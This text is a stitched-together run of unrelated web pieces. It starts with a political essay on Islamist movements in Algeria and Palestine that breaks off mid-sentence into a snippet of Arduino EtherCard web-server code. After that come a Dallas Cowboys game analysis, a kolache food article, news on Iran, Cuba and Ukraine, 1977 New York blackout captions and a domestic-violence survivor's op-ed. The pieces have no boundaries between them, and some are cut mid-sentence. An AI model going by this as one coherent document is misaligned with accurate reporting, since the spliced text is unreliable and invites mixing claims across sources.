The civil war was to leave as many as 70,000 dead. It was a war, primarily, between the Islamists and the army, with both sides committing terrible atrocities. But many civilians, leftists, secular radicals and intellectuals, trade unionists and others got caught in the crossfire and were identified by the Islamists as their enemies. The Armed Islamic Group (GIA) was responsible for the worst atrocities; but the unofficial armed wing of the FIS itself, the Islamic Salvation Army, AIS, carried out similar attacks.
The Socialist Forces Front condemned both the repression and the Islamists. Many of its supporters fell victim to Islamist attack. At the peak of Islamist violence, women not wearing the hijab (veil) were gunned down at bus stops. Men and women were prevented from travelling on trains together. The rai artist Cheb Hasni, was murdered in 1994; thousands demonstrated in protest in the city of Oran. Large numbers of leftists, feminists and others fled the country, mainly to France.
Not until the late 90s, did the killings subside. In further elections, though the FIS was banned, other Islamist parties, making a bid for a more moderate image, polled well.
As elsewhere, state repression in Algeria had the effect of unleashing the most reactionary elements of, and aspect of, the Islamists. The military's effort to 'eradicate' the 'fundamentalists' an objective it was keen to show off to western governments - did not, and could not, succeed. The broad left was placed in a terrible position, vulnerable to both the forces of the state and the Islamists. For sure there were divisions among the Islamists. Their leaders sometimes condemned the more extreme actions of the military wings. And clearly the FLN government, and then the army, bears a huge responsibility for the civil war. But the Islamists demonstrated their true character in the way their side of the war was prosecuted. As in Iran, they simultaneously and violently opposed both the government and the forces of genuine progress.
v. Palestine
It was only after the 1967 war that distinct Palestinian nationalist movements emerged. The Palestine Liberation Organisation was taken over by these nationalist movements, the biggest of which was Yasser Arafat's Fatah, and embarked upon armed struggle against Israel. It gained some success in putting the issue on the political map, but made little headway in terms of defeating Israel. After the 1973 war, the PLO - which had declared its objective to be a'secular democratic state for Muslims, Christians and Jews' in all of Palestine - moved towards trying to find a diplomatic solution, although a'rejection front' formed which was opposed to this. Crushed in Jordan in 'Black September' 1970, the PLO guerrillas retreated to Lebanon, which soon - partly, though by no means entirely, as a result - collapsed into a devastating civil war. Israeli invasion of Lebanon in 1982 left some 20-30,000 dead and drove the PLO leadership from the country. Then an uprising, or intifada in the occupied territories ultimately forced Israel to the negotiating table. A profoundly inadequate peace deal was signed in 1993, though that collapsed in 2000. At the time of writing, the future of 'peace' is very uncertain.
From its emergence as a distinct force, Palestinian nationalism was perhaps more strongly secular than any other Arab nationalism outside Tunisia. There is a significant Christian minority among the Palestinian Arabs, and some of their important thinkers and leaders have come from it. The'secular democratic state' in all Palestine was in effect code for the destruction of Israel, but that the PLO chose that code was testimony to their non-Islamist intentions. In the occupied territories, especially the West Bank, the Communist Party had considerable weight, and controlled a number of municipalities from the 1970s onwards. The PLO had a vocal would-be Marxist (although in truth, ultra-nationalist) left. Partly as a result of the Palestinian people's dispersal and unusually high level of formal (and non-Islamic) education, influence from outside, and Western, intellectual sources was always strong.
Until the intifada of late 1987, the secular nationalists had never considered the Islamists much of a problem or threat. There was an Islamist movement in Gaza, but it had little weight in the more sophisticated (and less poor) West Bank. Among students, for example at Bir Zeit university, the Islamists were a negligible force.
Today all that has changed. Islamists are a growing influence even in the West Bank and among university students. As the post-Oslo Palestine Authority has proved corrupt and repressive, and has failed to bring about meaningful independence, the left has declined sharply, and the Islamists have grown.
The biggest Islamist group is Hamas - the Islamic Resistance Movement. Hamas emerged from the Gaza wing of the Egyptian Muslim Brothers, in the first place concentrating on purely social matters - charitable works, schools, making propaganda for Islamic forms of personal behaviour, the typical fare of the Islamists. For this reason they were looked on favourably, and supported, by Israel as an alternative to the PLO. After the beginning of the original intifada in 1987/8, Hamas took a more political turn. But one of its first ventures into 'opposition to Israel' was to effectively initiate, and sanction, a campaign to force Palestinian women to wear the hijab - a campaign which meant unveiled women were stoned in the street. Eventually, the Palestinian leadership condemned this campaign, although making some concessions to the idea that dressing modestly is a patriotic duty. Throughout the first intifada, Hamas remained aloof from the struggle, naming its own days for specific actions, for instance, and focusing on Islamic rather than national or political questions.
With the second intifada in 2000, Hamas did not engage in fighting with the Israeli troops; they left that to the nationalist militias, principally of Fatah. Hamas' contribution was to launch suicide attacks inside Israel. More recently, they seem to have begun commando raids, beginning with an attack on a Jewish settlement in Gaza.
The Palestinian leadership created this space for them. Arafat's Authority has more members in the security forces than it has teachers; and a major aspect to the negotiated deal in 1993 was that Arafat take over policing Arab territories from Israel, which was increasingly unsure of the point of doing it. Much of the repression is necessarily aimed at the Islamists. In addition to its repressiveness, and failure to bring about a just settlement, the Palestine Authority is notoriously corrupt: in the midst of great, and worsening, poverty, officials flaunt the wealth they have gained through corruption; association with these authorities has tarnished the old-style nationalists.
Hamas' evolution, in sum, has been from a deeply conservative social movement into an aggressively chauvinist one which increasingly does nothing but destroy any possibility of peace between Israelis and Palestinians. That Israeli public |
(PSTR( "HTTP/1.0 200 OK\r
" "Content-Type: text/html\r
" "Pragma: no-cache\r
" "\r
" "<meta http-equiv='refresh' content='1'/>" "<title>RBBB server</title>" "<h1>$D$D:$D$D:$D$D</h1>"), h/10, h%10, m/10, m%10, s/10, s%10); return bfill.position(); } void loop () { word len = ether.packetReceive(); word pos = ether.packetLoop(len); if (pos) // check if valid tcp data is received ether.httpServerReply(homePage()); // send web page data }
Applications
After that, you might want to control LEDs, relais or send SMS messages with through your new Ethernet interface (change Ethercard.begin pin no from 10 to 8!). Or how about having your Arduino talk with your web app through POSTs or GETs (I have done that with great success with my GrowGuard platform).
So there you have it: Connect any Arduino (or other microcontroller) to the Internet with 6 wires and a 10$ module!
Need a product developed or Want more Arduino and Hardware tips in your inbox?
Next to our own projects, we also develop for other companies (often with wifi, Ethernet, bluetooth, GSM/GPRS). Do you want us to develop or built a prototype for you? Feel free to contact us: hans@cloudsensor.us
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{% fold %} <button class=”your-css-class”>Button</button> {% endfold %}This story is about Published Nov. 2017
Mind games! How Eagles were always one step ahead of Dak Prescott, Cowboys' offense Share This Story On... Twitter
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Smiley N. Pool/Staff Photographer Dallas Cowboys quarterback Dak Prescott (4) is hit by Philadelphia Eagles defensive end Brandon Graham (55) as he attempts a pass during the final minute of regulation in an NFL football game at AT&T Stadium on Sunday, Oct. 30, 2016, in Arlington. (Smiley N. Pool/The Dallas Morning News)
By Bob Sturm, Special contributor Contact Bob Sturm on Twitter: @SportsSturm
Decoding Linehan There is a real danger in analyzing the offense every week from a "blame game" standpoint. You are searching for answers and explanations and in the football universe, it is no fun to blame figures who are down the list of importance. When a game is lost, we want to blame someone -- it might not be the right thing to do, but it feels better. We want answers. We want to fix it so it doesn't keep happening. Unfortunately, we then begin simplifying things in our brain to the point where we want there to be absolutes. We want to say definitively that this player is awesome, and that this one needs to be replaced. This coach is the best, and this one needed to be fired years ago. But football is about 120-150 plays every game, against the best in the world. You will win some and lose some of those plays every single game. Every guy is trying to win more than his share and that will help his team win the game. That requires nuance and measured responses to every game and, within it, every play. So here, we try to do that a little better than your average Twitter exchange. We want to look at the bigger plays that told the story. This week, I think it is pretty clear where things went wrong for this Cowboys offense. Once again, the third down and "11 Personnel" packages let them down. When this team fails, it often goes back to this make-or-break characteristic of the Dallas offense. It runs the ball. It runs on everyone. It is generally to what degree do they run it, but on first and second downs the Cowboys continued to do their thing reasonably well. But every time they hit a third down, they put on their 11 Personnel, the Eagles brought on their nickel/dime package, called their blitzes up and the Cowboys were unable to make them pay. The Cowboys found 21 yards on third down all night. On 14 snaps. Oh, my. That will end a lot of drives and lose a lot of games. The reasons were multiple. Missed throws, missed reads, poor job by wide receivers, poor protection and so on. The Cowboys had a really bad night on third down and that submarined their entire game. The other thing that runs into issues here is the Dak Prescott performances against teams he sees the most often. Below, John Daigle made us a chart to demonstrate the statistical output of Prescott against the three teams in the NFC East and the 17 games he has played outside of the division. As you can see, he destroys everything outside of the division -- and does very well against Washington. But when it comes to three games against the Giants and two (plus a small portion of a third) against the Eagles, it has been disconcerting. Much of that goes back to third down, too. Now, keep in mind, we are going to use Prescott's numbers, but this is about more than the quarterback. This is the entire offense's passing game performance. DAK PRESCOTT VS. THE NFC EAST
You can take it a step further with third-down performances against Philadelphia. The entire NFL is crammed between 45.7 percent (New England and New Orleans) and 33.4 percent (Cleveland) on third downs in 2016-17. So, the very best teams are at just under 46 percent and the very worst teams are at 33 percent. The Cowboys during that stretch are at 42.5 percent, trailing only the Patriots, Saints, Packers and Falcons. That is really impressive, given the quarterbacks on those teams. Well, against the rest of the league, the Cowboys are 45.3 percent on third downs in the past two seasons. Against the Redskins, they are 44 percent. Even against the Giants, they are still 40.4 percent. But against those doggone Eagles, the Cowboys are at 30 percent (12 of 40) in the past two seasons. And you might say, "Yeah, Bob, but I am sure it is better without the Week 17 game, which was Mark Sanchez time." No, it isn't. In the two full games against the Eagles in Prescott's career -- both in Dallas -- the Cowboys are 7 for 28 on third down. That is 25 percent! In other words, miles below the Browns. So, what do we do with these numbers? We come to terms with the fact that Jim Schwartz is in the Cowboys' playbook as much as Jim Johnson used to be. And the Cowboys are playing right into those tendencies too much and not burning the hands of a very confident Eagles defense. WEEKLY DATA BOX
There isn't a single game you can win in the NFL if you are going to come up with 225 yards and commit four turnovers. In the past 10 years, it hasn't happened. Carolina, in 2008, apparently beat Oakland with a stinker like that, but it is an extreme rarity. Three of 14 on third down is just brutal. And you won't be surprised to learn that this is the second time the Cowboys have gone 3 for 14 this season -- they did it at Denver, too. Yeesh. DAK PRESCOTT THROW CHART
More bad news here. Three yellow dots! And look at all the red dots down the sidelines. The Cowboys never go between the numbers toward the middle of the field -- they are like the opposite of Drew Brees on that, and so they work the outside edge repeatedly. So, if you are defending them, what would you likely be sitting on? Yeah, me too. PERSONNEL GROUPINGS
To be fair, nothing was good. S12 and S02 were the ways to get more protection in late in the game and they moved the ball better, but aside from the success on the ground with 13 and even a little 11 personnel, this was a very poor day in which the RPOs got nothing and the third-down package was abysmal. Prescott was very poor. Dez Bryant was ineffective. Cole Beasley was underutilized but taken away by some coverages. The protection was better, but it required more people to help out, thus making the targets fewer and easier to patrol. All in all, the Cowboys were outplayed and outschemed on Sunday night at the hands of a talented and confident Eagles defense. They knew they were in the Cowboys' heads. And the Cowboys never made them pay. Let's look at it:
First drive -- third and 3. Cowboys try to fit the ball into Bryant right away. It is short yardage, so maybe you need to go elsewhere here, but the throw is pretty solid. But Jalen Mills is aggressive to get in there and challenge Bryant -- and ultimately win.
Here is the end-zone view of the same play. We see this a lot -- Cowboys receivers running hooks and then becoming stationary at the sticks. Prescott might be able to use Noah Brown here, but this is what they tell him -- on third down, look for Bryant. The throw looks pretty good, but is there an easier way to move the chains? In other words, is Bryant open enough to try that difficult throw? And can Bryant win the route to make the play?
Next drive. All the way down the field they go. Second and 9 from the Eagles' 11. The Cowboys have Beasley in the backfield. He is going to go out to the right and have an angle on his man. Prescott knows the Cowboys' offense tells him to always use Bryant in the red zone if he has only one guy to beat. He gives Bryant a chance to overpower Ronald Darby on his way in. Bryant doesn't win, and then we wonder if Beasley going across the action was actually the easiest way into the end zone. Again, this is Prescott doing what he is told to do in the red zone. But maybe they need to stop assuming Bryant is money in every spot down here. The Eagles were fine with one guy playing him.
Next play. Third down. Cover 0 blitz! No respect for the Cowboys here! It is a full challenge! Prescott makes the automatic read. Fade to Bryant. Darby isn't scared, plays him physically and may flirt with a pass interference. But where is the throw supposed to go here? Bryant doesn't have position and this is just hoping for the best.
Against Cover 0, can we throw something a bit more high-percentage? Because Darby is never out of position here. He is comfortable against Bryant in this situation and the Cowboys forced it in there. The Eagles were more than fine allowing it. And the Cowboys leave with a field goal.
Here, you are set up to run the RPO late in the first quarter on a second-and-10. Eagles don't know if you are running or throwing, but they are bringing heat either way. You run and the play is dead, but you pull it to throw and they are going to have pressure on your throw. Ball gets tipped, ball gets picked.
Malcolm Jenkins gets a piece of it and Terrance Williams has the ball carom off his body right to Rodney McLeod, who has the pick. It looks like you needed a better throw, but that is difficult to do when the Eagles are going to rush so aggressively. Also, would have liked Williams to make a better play than McLeod after it gets tipped.
Early second quarter -- third and 4. A classic bread-and-butter Cowboys call here. The outside receivers run deep to pull the coverage out against Cover 3 and the inside guys head to the sideline at the sticks. Jason Witten on the right, Beasley on the left and because of the leverage. The Cowboys almost always convert this.
The Eagles are having their guys challenge this throw and try to get under it. The throw has to be perfect and, although it looks pretty good, Patrick Robinson is right there to say no. Another third-and-short not converted as the middle of the field is completely open. But you can see the Eagles are not going to let Prescott convert it with his feet. They were on those escape routes all night long.
Here is the third-and-8 where I am going to need much more from Bryant. This is Prescott knowing that the Eagles are sitting on the first tendency and he has a chance to make an adjustment to throw Bryant open to the sideline before the safety can get there. This is not as smooth-looking as you would like, but if you want your quarterback to "make a play" on a third-and-long, that is what is happening here.
The degree of difficulty on this throw is very high -- especially with Fletcher Cox pushing Travis Frederick into Prescott's lap. But the throw goes to the only place it can and Bryant has to make this catch. Instead, it appears he sees the safety and is considering the collision more than the ball. This has to be better than this.
Next drive, first down. The Cowboys are going to break tendencies and throw out of 13 Personnel. The bootleg is planned, and the Cowboys are going to get some nice yardage on first down as long as rookie first-rounder Derek Barnett takes the fake inside. He doesn't. He is waiting on Prescott's bootleg and will not let him escape. Heck of a play, and a sign of how the Eagles were tactically a step ahead of the Cowboys all game.
Two plays later it is third and 17. This was what I wrote about yesterday as arguably the worst decision of Prescott's young career. Because of a similar conversion against the Chiefs in this spot, the Cowboys had some confidence they could do it again. Of course, the Eagles watched that game and knew what the plan would be, too. So they showed a coverage that would force the Cowboys to take the punt and deal with it, or throw a ball that is as forced a throw as you will ever see. I have heard people say if this ball isn't underthrown, it might be a touchdown. I think the video proves the free safety had the deep ball and adjusted his angle when he saw it was underthrown. No throw is making it to Bryant. The coverage was there and Prescott made a rookie decision.
You take Witten underneath and punt. This throw is what gets you beat. He was lucky the defense stood tall, but it was just not a good night for the passing game.
This is late in the second quarter -- third and 6 from the Eagles' 29. The Eagles throw the Cover 0 blitz again with seven guys coming at Prescott. He has his automatics -- go to Bryant at this spot, which I am not liking these days. I like Beasley on the slant here way more, partly because Bryant isn't open at all. You are saying, "Just trust Bryant to win against anyone one-on-one." And that is giving him way too much credit at the expense of the supporting cast based on a blitz that should make the supporting cast more dangerous. Frustrating.
At no point on this throw (end-zone view of the same play) is Bryant open. It is simply the decision tree of, "Blitz and man coverage on No. 88 means I throw it to 88 no matter what else is going on." I think that is an issue the Eagles were feasting on.
Third quarter -- third and 10. Same concept as that first-half Beasley throw. Outside guys pull coverage and allow Beasley to sneak out to the sticks. Just a brutal throw from Prescott to end this drive.
He has to play better. This throw is not up to the grade.
Now, late in the third quarter, you are down 14 and facing a third-and-2. The Cowboys are lined up for the RPO but have Beasley deep for an option pitch. Wow, this is a nice idea! But Prescott makes the read to give it to Rod Smith when it sure looks like Beasley has everyone outflanked. Another bad decision from Prescott here.
And finally, a third-and-5 late in the game. Prescott is sacked because Smith and Byron Bell both get their signals crossed on protection and nobody appears to be open downfield. Sack, fumble, touchdown and good night to the division battle.
Look at Smith consider the chip, then move to a blitzer. Look at Bell feel that Smith is helping, so he tries to give up space and they both let Barnett turn the corner to get Prescott's arm. What a disaster on third downs. ***** This game is over. It was very bad. I can't think of anyone on offense that was especially good. Plenty of blame to go around. And sometimes, good players have bad nights -- on this night, Schwartz and his Eagles defense were always one step ahead of Scott Linehan and his Cowboys offense. And that was the story of the game.
This Topic is Missing Your Voice.This is the Pastry Basket, a Breakfast Week series in which Eater profiles noteworthy breakfast pastries. First up: the kolache.
Barbecue. Breakfast Tacos. Bringing guns to sit-down restaurants. All of these aspects help define the kitchen sink that is Texas's food history. But driving past one of hundreds of gas station-truck stop combos speckled throughout the Lone Star State highways, many visitors frequently overlook a quintessential relic from the past that's as Texan as riding your horse to school: the kolache.
A link to Texas' Old World heritage, the kolache (pronounced "koh-la-chee") came to America via Bohemian and Moravian Czech immigrants who emigrated en masse during the mid-to-late 1800s. Settling in what is now known as the Czech Belt, a range of territory stretching throughout East and Central Texas, at least one of these families had the right idea to continue producing the nostalgic pastry that they had enjoyed so much back in the motherland.
"I don’t recall my grandmother ever saying there were rules for what you put into a kolache."
"I think like any immigrant group, there's no way you're gonna figure out who the first person was that brought spaghetti or whatever over," said Dawn Orsak, a Texas-based food historian specializing in Czech culture. "It's just something that was made there, and when people got here, they did their best to recreate it with whatever ingredients they had."
When the first Czech families emigrated to Texas, the kolaches they baked at home strongly resembled those found in Czechoslovakia (and later the Czech Republic). A kolache, according to the original Czech settlers' recipes, is essentially made with sweet dough, impressed in the center, and stuffed with traditional fillings such as preserved fruits, sweet cabbage, or poppy seeds. However, like any foreign dish that has been brought over to the States and passed down through the generations, pinning down the kolache's defining characteristics is no easy task. According to Andy Zubik, the Texas-Czech kolache expert behind Austin's Zubik Kolache House, the kolache is — for the most part — a free-for-all.
"I don't recall my grandmother ever saying there were rules for what you put into a kolache," said Zubik, who learned how to make kolaches by watching his grandmother knead dough in the kitchen. For him and several others, a kolache is simply any pastry made with sweet dough, with an impression in the center that has been stuffed with any range of fillings.
Although modern technology has made baking kolaches a breeze (thank you KitchenAid stand mixers and industrial-sized machinery), Orsak explained that one of the more integral facets to the kolache in Texas was the immense amounts of physical labor required. This aspect, according to Orsak, made kolaches a social and communal treat. During special occasions and large gatherings in the Czech community such as church events, weddings, funerals, or the holidays, kolache bakers — typically the women of the households — would congregate in the kitchen, dedicating long hours to pounding, kneading, and baking dozens of kolaches to fill their guests' gullets.
Eventually, members of the Texas-Czech community brought their culinary heritage to the masses in Texas, selling them along with a number of authentic Czech pastries at local bakeries such as the historic Village Bakery in West, Texas, and gas station-truck stop combos like Czech Stop. Located along the highways running throughout the Lone Star State, non-Czech visitors — and even some non-Texans — passing through these small towns caught on to the kolache craze.
"Everybody thinks sausage wrapped in dough is a kolache... but it’s not. That didn’t start until Czechs got to the U.S."
"We've been instrumental in spreading the popularity in the kolache because we have so much traffic," said Barbara Schissler, one of Czech Stop's original employees (and now-president). "And as far as I know, people have been jumping on the bandwagon."
Shops like the Village Bakery and Czech Stop may have helped familiarize the kolache to the rest of Texas, but they also facilitated a massive cultural confusion surrounding the kolache that continues to this day. The Kolache Factory, a franchise pastry shop founded in Houston in 1982 (it's since expanded as far as Indianapolis), is largely to blame. When first starting out, the company sold customers fast-food breakfast pastries that were essentially a variation on pigs-in-a-blanket — a circular sweet dough bun, filled with yellow cheese and sausage — but were called "kolaches." Even though these were nothing like the kolaches that you'd find in the Czech community, the Kolache Factory has continued to advertise their flagship product as such.
"Everybody thinks the sausage wrapped in dough is a kolache," Zubik lamented, stating that this pigs-in-a-blanket-style pastry sold by the Kolache Factory is actually known in the Czech community as a klobasnek. He added that "90 percent of the kolache-eating world is under the assumption that's a kolache, but it's not. That didn't start until Czechs got to the U.S., and from what I understand, it's indigenous to Texas."
Others, such as Paula Stevens and her brother Lucas Verret of Delicious Donuts & Bakery in Lake Charles, Louisiana, have perpetuated this nomological confusion of the klobasnek, and incidentally, the evolution of the kolache. The pair discovered the doughy misnomer during a road trip to Houston and ate the idea up. Following the beaten path of Americans taking culinary liberties with an ethnic recipe (previous notable examples being the Danish pastry and pizza), the pair went ahead and revamped the recipe for a much more savory take on the "Texas kolaches," which they advertise at Delicious Donuts & Bakery as "kolatchies." "Ours are fried, not baked; and it's not a sweet dough, it's a yeast-based dough," said Stevens. "That's why our spelling is different."
Recently, however, a new school of pastry chefs hailing from Texas have begun to reclaim the original Czech Belt kolache and bring it to a wider audience. Zubik carries on the family tradition back in Texas by educating Austin transplants on one of the state's culinary pride and joys. Meanwhile, Texas-Czech pastry chef Chris Svetlik of Republic Kolache in Washington, DC and the non-Czech (but still very Texan) Autumn Stanford of Brooklyn Kolache Company are introducing the locals in their new homes to their nostalgic treats.
Although these chefs are venturing off into artisanal territory by toying with nouveau flavors geared towards the millennial palate (candied jalapeño brisket kolache, anyone?), all parties involved are dedicated to maintaining a connection between their creations and the ancestral versions (including those infamous Texas kolaches).
"People in Brooklyn want something very artisanal, like always," Stanford told Smithsonian Mag in 2013. "If there's an American cheese in your sausage-cheese-jalapeño kolache, they're like 'ugh.' But I'm not gonna change something that somebody's been craving because it's not socially cool right now."
According to Svetlik, the kolaches at Republic Kolache are "somewhat thoughtfully and consciously moving outside the tradition," although he soon plans to put classic Czech flavors like poppy seed and sweetened cabbage on the menu, to provide customers a historical point of reference. "If we were being totally dedicated to traditional kolaches, we would be limited to... basically, flavors that are at the very least not terribly glamorous, and are possibly not great to eat," Svetlik laughed.
Despite the kolache's Old World roots that starkly contrast Internet-hype sensations like the ramen burger or the infamous Cronut, Svetlik noted there's been a growing popularity of the kolache over the past few years, especially with Matt Lauer announcing alongside Adam Rapoport of Bon Appetit that the kolache would be "a food we would crave in 2015." The prediction might have been a year off for Republic Kolache. When Svetlik rolled out the "cross-cultural combo" King Cake flavor for Mardi Gras Saturdays, the store had lines running all the way around the block. Two weekends ago, over 1,100 kolaches were sold, with the King Cake flavor leading the sales.
"I'm of course a little wary of kolache as a food fad, and we don't want to push it as that," said Svetlik. "But at the same time, this is an interesting cultural artifact from an ethnicity that is not very well known in the U.S., so we're all for it. The more people [that are] talking about and eating kolaches, the more likely they are to go try them and know where they came from."Iranian Supreme Leader Ayatollah Ali Khamenei has directed Iranian authorities to block imports of American goods, the Associated Press reported on Sunday.
Ayatollah Ali Khamenei’s website on Sunday quotes him as advising authorities to “be watchful about irregular imports after lifting sanctions and seriously avoid importing consumer goods from the United States.” Iran’s imports from the U.S. reportedly reached $140 million in the first half of 2015, around 60 percent higher than in the same period in 2014. The imports mainly consist of medical devices, food and seeds.
Iran’s semi-official PressTV news agency reported that government ministries are planning to enforce Khamenei’s order.
“We will implement the blockade on imports of American goods in a directive,” Minister of Industry, Mine and Trade Mohammad Reza Nematzadeh said on Saturday. The plan is in line with Ayatollah Khamenei’s recent letter to President Hassan Rouhani, setting out the government’s obligations on empowering national production, developing an “economy of resistance” and checking imports of US-made goods, he added. The Leader wrote the letter more than a week ago to outline his conditional approval of the Joint Comprehensive Plan of Action — Iran’s nuclear accord reached in July with the US, Europe, Russia and China.
According to PressTV, Khamenei warned against allowing “unbridled entry” of American products into Iran.
Over 200 Iranian lawmakers wrote a letter to President Hassan Rouhani on Sunday demanding that Iran refuse to implement its obligations under the nuclear deal it reached with the P5+1 powers until all sanctions against the Islamic Republic have been lifted.
[Photo: Manuchehr lenziran / YouTube ]On the night of July 13, 1977, a lightning strike took out a power station, which set off a chain reaction leading to a blackout in New York City.
By the time the sun came up the next morning, New York began to take stock -- 3,400 arrests, 1,000 fires and hundreds of stores looted in Brooklyn and the Bronx.
Check out photos below of the night the city went dark.
A line forms for gasoline at a Gulf station at 73rd Street and the FDR Drive in Manhattan on July 14, 1977. The station got its power back after a citywide blackout the night before.
The city made water available in some streets because power to pump it to apartments wasn't available in some areas on July 14, 1977.
The toll booths at the entrance to the Midtown Tunnel in Long Island City are closed to all traffic on July 13, 1977, after a power outage plunged the city into darkness.
Stranded passengers wait in the KLM building at Kennedy Airport on July 13, 1977, as a citywide blackout grounded aircraft.
John Ahren, of Brooklyn, carries a portable radio on July 13, 1977, as he walks with two unidentified people along a street in Little Neck, Queens. They were keeping up on information about a citywide blackout.
Officers in the 108th Precinct at 50th Avenue and Vernon Boulevard in Long Island City use the headlights of their cars and cruisers to light the area around the station house on July 13, 1977, during a blackout in New York City.
Flashlights get a workout directing traffic at Fifth Avenue and 34th Street near the Empire State Building as people improvised to keep the city running during a blackout on July 13, 1977.
A young man sleeps in a waiting area at LaGuardia Airport on July 13, 1977 during a blackout across New York City. The only working lights were on emergency power.
A food truck serves stranded passengers and employees on July 13, 1977, outside the TWA Terminal at Kennedy Airport. A citywide blackout turned out all but emergency lights at the airport.
The power failure across New York City on July 13, 1977, also blacked out lights and services in the TWA Terminal at Kennedy Airport, grounding aircraft and stranding travelers.
Customers and a waitress at the Bellerose Diner rely on a candle after the power went out at 9:29 p.m. on July 13, 1977, the result of a chain reaction from a lightning strike at a power station on the Hudson River in Westchester County.
Stranded passengers get off a train that arrived around midnight at the Jamaica Long Island Rail Road Station. It was about three hours after a lightning strike plunged the five boroughs into darkness on July 13, 1977.
Stranded commuters line up for phones after finally getting off stalled trains at the Jamaica Station in Queens around midnight on July 13, 1977, about three hours after a lightning strike caused a chain reaction that blacked out power to New York City.
Teenagers sitting on a curb in Jamaica, Queens, on July 13, 1977, after a citywide power failure shut off air conditioning and lights.
Motorists flock to Long Island for gas on July 13, 1977, lining up at a station on Lakeville Road and Northern Boulevard in Great Neck.
Battery Park at the southern tip of Manhattan is usually full of office workers on a warm day in summer, but not on July 14, 1977, the day after a citywide blackout closed many businesses and forced many commuters to stay home.
Transit worker Ray Mills checks out a Long Island Rail Road train at the Jamaica Station in Queens to see if anyone is left aboard on July 13, 1977, after a citywide blackout that took the electrified train out of service.
Customers and staff of the Bellerose Diner gather around a kerosene lamp and candles after the power went out across New York City on July 13, 1977.
Dorothy Albert stands on the balcony of her Bayside apartment, probably the coolest part of the place on July 14, 1977, the day after a lightning bolt brought darkness to New York City. In addition to no electricity for air conditioning, Albert had no water.
Sunbathers wait out the heat and dark of Manhattan apartments on July 14, 1977, in Central Park. The city was coping with a blackout that began July 13. Temperatures at the time were in the mid-80s.
Sunbathers wait out the heat and dark of Manhattan apartments on July 14, 1977, in Carl Schurz Park at East 89th Street and the FDR Drive. The city was coping with a blackout that began July 13. Temperatures at the time were in the mid-80s.
The Long Island Expressway shows no signs of the usual 5 p.m. rush hour traffic on July 14, 1977, the day after a power failure turned off the lights and services across New York City. Many commuters stayed home.
Richard DeCastro gets help from his son Russell, 7, in setting up a portable generator on July 14, 1977, just in case he needs power for his house in Whitestone, Queens, for a second night of the blackout.
LaGuardia Airport was shut down to travelers on July 13, 1977, during the blackout across New York City.
Two men using flashlights direct traffic at Little Neck Parkway and Jericho Turnpike in Bellerose on July 13, 1977, during the blackout.
A man calls home after getting off a Long Island Rail Road train that was caught outside a station when its power failed in a blackout that started on July 13, 1977.My name is Jessica Lenahan and I am a survivor of domestic violence and an advocate for battered women and children. Six years ago, I turned to the Inter-American Commission on Human Rights (IACHR), an international tribunal responsible for promoting and protecting human rights throughout the Americas, because the justice system in the United States had abandoned me. Today, IACHR issued a landmark decision in my case that found that the United States violated my human rights and those of my three children, Rebecca, Katheryn, and Leslie.
In 1999, my estranged husband, Simon Gonzales, kidnapped Rebecca, Katheryn, and Leslie in violation of a domestic violence restraining order I had obtained against him. I repeatedly contacted and pled with the Castle Rock Police in Colorado for assistance, but they refused to act. Instead, over a 10-hour period, the police responded to a fire-lane violation, looked for a lost dog and took a two-hour dinner break. Late that night, Simon arrived at the police station and opened fire. He was killed and the bodies of my three girls were found in the back of his truck. No investigation ever took place to determine the cause, time and place of my children's death.
I sued the town of Castle Rock for failing to enforce the restraining order I held against my husband. My case went all the way to the Supreme Court, but they ruled that the enforcement of a restraining order wasn't mandatory under Colorado law.
I felt utterly abandoned, but I wasn't done fighting. Instead I turned to IACHR.
In a decision released today, the commission found that the U.S. is failing in its legal obligation to protect women and children from domestic violence, and makes clear that the U.S. government has a duty to protect domestic violence victims by taking steps to ensure their safety, including the enforcement of restraining orders. It also requires that the U.S. examine how it fails domestic violence victims and ensure that victims of domestic violence receive adequate protection from their abusers.
But this decision isn't just about me.
In the United States, an estimated 1.3 million women are victims of physical assault by an intimate partner each year, and every day more than three women are killed by their intimate partners. These statistics reveal that domestic violence amounts to nothing less than an epidemic and the failure of police to enforce the law directly contributes to this epidemic. A 911 call to the police must mean something and the police can't ignore multiple emergency calls throughout the course of the night as they did in my case.
I did everything I was supposed to do on that fateful night to protect and save my daughters. I even would have tried to rescue them myself had I known the police would do nothing to find them or to enforce my restraining order. We respect our laws because we believe they embody our government's commitment to protecting our lives and the lives of our children. Unfortunately, I had to lose everything to realize that we are often not guaranteed basic protections from our government unless we demand them.
The IACHR decision can stimulate necessary changes in U.S. law and policy, if the U.S. government takes IACHR's assessment of law enforcement's failings seriously and implements its recommendations.
I hope my case will serve as an important precedent that other women can rely on when they find themselves in a similar situation where the police refuse to enforce a restraining order. I urge you to rely on it to speak out on the issue of domestic violence and to make sure that our government hears you.
You can learn more about the IACHR report, as well as my case and the process that led to my petition to the IACHR, here, here and here.
Learn more about violence against women: Sign up for breaking news alerts, follow us on Twitter, and like us on Facebook.Story highlights "Western Cuba is without power," a pro-government blogger says
Residents in Havana and elsewhere in Cuba suddenly lost power around 8 p.m.
A government spokesman says Havana is in the dark, except those with generators
Residents elsewhere on the island say they have no power, though some do
Millions of people suddenly lost power Sunday night around the island of Cuba -- including all of Havana.
More than 2 million residents of the capital were in the dark late Sunday, except for those at hospitals and elsewhere with generators, according to a government spokesman, who was not identified per government policy. The streets of Havana lost electricity around 8 p.m.
Residents elsewhere around the Caribbean nation -- including in Ciego de Avila to the east of Havana, and west to Pinar del Rio -- also told CNN they didn't have any power, except for a few pockets of light.
"Western Cuba is without power," a pro-government blogger known as Yohandry Fontana tweeted.
Power outages are hardly unprecedented in Cuba, which has an aging power grid. But while brief outages concentrated in a small area are common -- unless, of course, a big storm passes through -- a massive outage on this scale is rare.
There was no official explanation for Sunday's outage, according to the government spokesman and |
personnel carrier in the village of Hrabske, eastern Ukraine
The wreckage of an armoured personel carrier is seen at an abandoned checkpoint in Olenivka, 12 miles south of Donetsk
Ukrainian soldiers patrol in an APC in the Donetsk area. Ukrainian troops have retreated from the Lugansk airport and a nearby village in the east after coming under artillery fire
He told the assembled leaders from 28 European nations that when he asked Mr Putin about Russian soldiers being on the ground in Ukraine, he issued a stark threat.
Mr Barroso told the meeting that Putin said: 'This is not the problem, but that, if I want to, I can take Kiev in two weeks,’ according to La Repubblica.
Earlier in the meeting German Chancellor Angela Merkel said that 'there are no limits to the unpredictability of Putin', the paper reported.
David Cameron, in grave tones, warned the heads of state that Putin must not be permitted to take the whole country ‘or we risk repeating the errors of 1938 in Munich’.
‘We don’t know what he could do next,’ he added.
